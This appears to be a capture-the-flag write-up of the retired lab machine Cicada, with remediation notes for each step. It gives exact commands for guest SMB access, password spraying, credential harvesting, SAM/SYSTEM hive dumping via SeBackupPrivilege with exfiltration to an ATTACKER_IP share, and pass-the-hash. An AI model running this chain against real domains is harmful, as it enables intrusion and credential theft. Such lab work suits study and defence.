Cicada
Summary
I authenticated to the domain controller's SMB service as the built-in guest account, downloaded an HR onboarding document containing a plaintext default password, and sprayed that password across all domain accounts to compromise one user who had never changed it. Pivoting through two further credential exposures — a password stored verbatim in an Active Directory user attribute and a second password hardcoded in a PowerShell backup script on an internal share — I reached an account holding SeBackupPrivilege.
That right bypassed all file-system access controls, allowing me to copy the SAM and SYSTEM registry hives offline, extract the built-in Administrator's NTLM hash with Impacket secretsdump, and authenticate to the domain controller with full administrator authority via pass-the-hash.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -T4 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 $TARGET -oN nmap_cicada.txtnxc smb $TARGET -u '' -p '' --sharesExact commands 2
smbclient -U 'guest%' //$TARGET/HR -c 'ls; get "Notice from HR.txt" /tmp/cicada/Notice_from_HR.txt'cat /tmp/cicada/Notice_from_HR.txtFixDisable SMB guest authentication and restrict unauthenticated share accessHigh
Exact commands 3
nxc smb $TARGET -u guest -p '' --rid-brute 10000 | tee /tmp/cicada/rid_brute.txtawk '/SidTypeUser/ {print $6}' /tmp/cicada/rid_brute.txt | sed 's/.*\\//' | sort -u | tee /tmp/cicada/users.txtnxc smb $TARGET -u /tmp/cicada/users.txt -p '[REDACTED: recovered credential]' --continue-on-success | tee /tmp/cicada/spray_default.txtFixRemove default credentials from shared documents and enforce password change at first logonCritical
Exact commands 1
nxc ldap $TARGET -u 'michael.wrightson' -p '[REDACTED: recovered credential]' --users | tee /tmp/cicada/ldap_users_michael.txtFixPurge credentials stored in Active Directory user attributesHigh
Exact commands 3
nxc smb $TARGET -u 'david.orelious' -p '[REDACTED: recovered credential]' --shares | tee /tmp/cicada/shares_david.txtsmbclient //$TARGET/DEV -U 'david.orelious%[REDACTED: recovered credential]' -c 'ls; get Backup_script.ps1'grep -i 'password\|pass\|cred' Backup_script.ps1FixEliminate hardcoded credentials from scripts stored on network sharesCritical
Exact commands 2
nxc winrm $TARGET -u 'emily.oscars' -p '[REDACTED: recovered credential]' -X 'whoami; hostname; Get-Content C:\Users\emily.oscars\Desktop\user.txt' | tee /tmp/cicada/winrm_user.txtevil-winrm -i $TARGET -u emily.oscars -p '[REDACTED: recovered credential]'Exact commands 5
whoami /privmkdir C:\Temp; reg save HKLM\SAM C:\Temp\SAM.save; reg save HKLM\SYSTEM C:\Temp\SYSTEM.saveimpacket-smbserver cicada /tmp/cicada/loot -smb2support -username cicada -password '[REDACTED: recovered credential]'copy C:\Temp\SAM.save \\$ATTACKER_IP\cicada\SAM.save && copy C:\Temp\SYSTEM.save \\$ATTACKER_IP\cicada\SYSTEM.saveimpacket-secretsdump -sam /tmp/cicada/loot/SAM.save -system /tmp/cicada/loot/SYSTEM.save LOCAL | tee /tmp/cicada/secretsdump_local.txtFixRemove SeBackupPrivilege from non-administrative accountsCritical
Exact commands 2
nxc winrm $TARGET -u 'Administrator' -H '[REDACTED: recovered credential]' -X 'whoami; Get-Content C:\Users\Administrator\Desktop\root.txt' | tee /tmp/cicada/root_flag_read.txtevil-winrm -i $TARGET -u Administrator -H '[REDACTED: recovered credential]'Exposed services
| 53/tcp | domain (generic dns response: SERVFAIL) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 06:39:33Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 61921/tcp | unknown recon-sweep-discovered |